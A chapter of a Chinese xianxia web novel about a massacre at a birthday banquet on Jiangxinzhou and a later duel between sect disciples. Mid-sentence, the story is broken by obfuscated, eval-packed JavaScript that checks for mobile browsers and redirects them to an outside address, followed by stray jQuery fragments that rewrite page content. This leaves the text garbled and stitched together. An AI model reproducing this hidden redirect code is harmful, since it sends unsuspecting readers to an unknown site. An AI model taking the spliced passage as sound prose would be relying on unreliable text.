狂风呼啸,天低云沉,整个江心洲仿佛变成了汪洋大海中的一叶扁舟,摇摇欲坠。
孙雪华敛眉:“宋漪走之后,你便接手了她的计划?”
“对。”
“那天夜里,宋澜突然袭击我们,也是你的手笔?”
“这倒不是。”李见尘笑笑,“其实我也很疑惑,到底是谁把宋澜伪装成那样。”
他道:“其实我拿到那个剑穗之后,并未见过宋澜。宋漪虽说那点尘缘已经凝聚成形,可我从未见过。”
孙雪华神色一凛:“也就是说,在那天夜里之前,其实没有任何人见过宋澜。不,不对,宁展阳说过,宋忱见到过宋澜,他怀疑宋漪院内失踪的护卫,和宋澜有关。”
他顿感不妙:“宋忱,虽说多年来炼丹制药,可他毕竟出身蔚然派,自然是修行过的。”
“不仅如此,宁展阳想在宋漪的院中击杀我们,想必事先请示过宋忱。”李见尘调笑着,“那天,指挥宋澜攻击我们的,恐怕就是宋忱本人。”
“他可不是任人宰割的羔羊。”
李见尘话音刚落,就见天空中的雷云须臾间形成了一道巨大的漩涡,江心洲早早布下的法阵以肉眼可见的速度发动,一朵盛大的莲花绽开,从南到北,铺满了整个浩荡的江面。
“不过这些都无伤大雅,和我的目的并不冲突。”李见尘轻叹,“今日,吾,便送诸位一程,黄泉路上,自不会寂寞。”
一时间,雷火冲天,冷光纷飞。
早早上岛的宾客察觉到了危险的气息,纷纷要逃,可那码头早已无船可渡,有人试图御剑飞行,却被一道强悍的雷电打倒在地,半天爬不起来。
“怎么回事?不是来参加寿宴的吗?现在是怎么了?”
“宋庄主怎么还不出来?这不应该给我们一个交代吗?”
“是啊是啊,这又是打雷又是下雨的,好歹让我们进屋啊。”
“你放什么狗屁!这摆明了是杀人的凶阵!你躲屋子里有什么用!”
“……”
一时间人心惶惶,争执不断,有一部分人甚至要破开大门,去找宋忱问罪。
可在这一片混乱中,宋忱却意外出现在了寿宴中央,那个早早搭建好的高台上。
一个眼尖的人发现了他,高声问道:“宋庄主,你这是何意?”
宋忱不言,垂眸静坐,有几人见他迟迟未有动作,旋即冲上了高台,揪着他的衣襟质问道:“姓宋的,我等奉师命前来贺寿,你摆出这么个鱼死网破的架势,是几个意思?若是我们不能安全回去,他日我宗门必定踏平你这江心洲!”
“诸位,稍安勿躁。”宋忱阖眼解释道,“天现异象,乃是因为听海崖从中作梗,但诸位不必惊慌,我已请一位得道高人相助,三炷香之后,必会给诸位一个满意的答复。”
“听海崖?”一个略知皮毛的人有些困惑,“尊夫人不就是听海崖前任掌门吗?他们怎会与你决裂?”
“亲兄弟尚且明算账,何况是一些无法无天的黄口小儿?”宋忱长叹,“实不相瞒,我夫人本有弟子数人,可惜他们狼子野心,为图掌门之位,不择手段,害死了我儿宋涟,我夫人也悲伤过度,不幸离世。他们非但不曾收手,还步步紧逼,布此凶阵,意图将我们一网打尽。”
众人闻言,皆是骇然。
宋忱又道:“诸位,今日之事,皆因我一人而起,宋某实在不愿连累大家。可这阵法凶恶,一时之间,仅凭我们并不能冲破此阵,不如随我一道回去,暂避一二。”
“光躲有什么用!不如冲出去和他们拼了!”有几个年轻人十分不满,高声叫嚷着,“大丈夫在世,必不能做这缩头乌龟,叫人笑话!”
也有人提出了意义,认为此时还不到生死一线之机,没必要做这无意义的伤亡。
一时间,众人哗然,就在此时,一道雷火从天而降,引燃了整座高台,窜起了近两人高的熊熊大火。宋忱默然起身,像一尊即将燃烧殆尽的雕塑,他打开高台下的机关,做了个“请”的手势:“诸位,这台下有条暗道,可前往密室,暂得安全。”
起先,并没有人在动。
直到有个胆小的,不顾身边人阻拦,径直冲了进去。那雷火遍布,很快就将众人包围,有人试图灭火,却发觉这雷火实在太过异常,越烧越大,本来不信的人也动摇了,一个两个,三个四个,逐渐进入了那高台之下的暗道之中。
只有一人岿然不动。
他甚至坐在酒席上,独酌一杯热酒。
宋忱眯了眯眼,看向他,只见那人一身褐色衣裳,披了件打满补丁的披风,可右侧却是空荡荡的,像是少了点什么。
宋忱缓缓走下台,问他:“这位兄台,也一道下去吧。”
“哈哈。”那人朗声大笑,“啪”的一声将手中酒杯扣在桌上,“我可从未听说过,有人过寿,会在高台上挖地道的,不知是宋庄主早有预感今天会出大事,还是想着请君入瓮,扳回一成。”
“这位兄台,何出此言呢?”
“我不与你争辩,今日,我是来取你性命的。”
话音未落,一道寒光闪过,宋忱只觉脖子上一热,猩红的血顿时喷了出来,溅落四周。他捂着伤口倒在地上,哆哆嗦嗦指着那人,一点声音都发不出,对方收刀入鞘,只眨眼的工夫,宋忱便一命呜呼。
“炼丹至今,一点长进都没有,就你这样的,还想着长生不老?”
他十分不屑,踢了一脚没了气息的宋忱,大步朝前,上了那座高台。
那条暗道的入口尚未封闭,低头看去,里面却深不见底,隐隐地,散发出一股腥臭腐朽的气息。
翻山越海里滚过几遭的男人瞬间意识到,这下面并不是什么暗室,而是某种机关或者术法,将所有人全部吞没了。联想到宋家的所作所为,他索性抽出自己的八棱锏,引雷而下,只听“轰隆”一声巨响,整个高台顷刻间四分五裂,地面皴裂,露出下方一口巨大无比的青铜鼎。刚刚进去的那些人横七竖八地躺着,每个人身上都泛着绿光,这是三魂七魄即将离体的征兆。
男人蹙眉,抬头看向头顶的那一大片漩涡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762402|174439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,心道,这宋忱竟是恶毒至此,临死还不忘拉几个垫背的。他重重叹了一口气,将自己的八棱锏插在地上,单手施术,巧妙地驱使着雷云避开此地。而后,他跳了下去,将那些昏迷的、半死不活的人一个接一个背回了地面。
另一头,尹晓棠与金伯涛早已打得不可开交。
二人均在五柳山庄修行,皆是练弓为上,此刻却赤手空拳地打了起来,皆有负伤。尹晓棠悲愤交加:“金伯涛!你助纣为虐,怎么对得起庄主对你的教导!对得起我们!”
“是我对不起你们。”
相较之下,金伯涛却是显得很冷静,他的语气中只剩下一点若有似无的悲哀,“欠你们的,我下辈子再还。”
“但今日,谁都不能来破坏我的复仇大计。”
尹晓棠梗着脖子大叫:“你让整个江心洲陪葬,所作所为,和宋家有何区别!”
她顾不得许多,一头冲了过去,躬身抱住了金伯涛的腰,将人狠狠掼倒在地。金伯涛抬脚,照着她心口一踹,可他这一脚却落了空,尹晓棠不知被谁勾住了后领,踉跄着往后退,一屁股摔倒在地。
“小夏?”
金伯涛眉头紧锁,难道是祖师爷失败了,没能赢下孙雪华?
小夏没有答话,尹晓棠一骨碌爬起来,拽住他:“小心,他交给我。”
“你和他打了这么久,都没分出个胜负,我还能放心交给你?”
小夏说话淡淡的,和之前完全不一样,金伯涛一愣,眼神顿时就变了:“你不是小夏,你到底是谁?”
“我是谁并不重要,重要的是,你今天若是不肯让,就得死在这儿。”
“小夏”背过手去,一双眼睛似古井无波,十分镇定,“你偷盗五柳山庄战死同门的骨韘,就不怕他们死后不得安宁吗?如此苦心经营,只为了帮助李见尘摧毁这个江心洲,你们听海崖的作风,真是一脉相承的狠毒。”
尹晓棠听了这话,心头一震,猛地看向“小夏”,这说话口吻,怎么那么像——
“待我身死,自会去黄泉路上向他们赔罪!”金伯涛站起身,大喝一声,“而你,趁早滚开!”
“砰——”
“小夏”抬手,一道强劲的气流瞬间将金伯涛击飞,从这小丘之上滚了下去。
“涛哥!”尹晓棠来不及拉住他,一下扑倒在地,她向下看去,山丘侧面全是灌木,金伯涛的身躯硬生生滚出一道豁口,消失在了她的视野中。
“放心吧,这点高度,死不了人,顶多昏两个时辰。”
“小夏”摆了摆手,尹晓棠鼻子一酸,委屈地叫着:“栾前辈,您怎么来了?”
“怎么,你不希望我来?”
“小夏”撤去一身的伪装,露出原本的样貌。
那是一个文质彬彬的青年,看上去挺有亲和力的,就是一张嘴,说话难听了些:“我要是不来,等你这脑瓜子开窍,我们五柳山庄就真的完了。”
来人正是尹晓棠口中的“栾前辈”,目前顶替五柳山庄的老师傅,负责教导她修行的栾易山。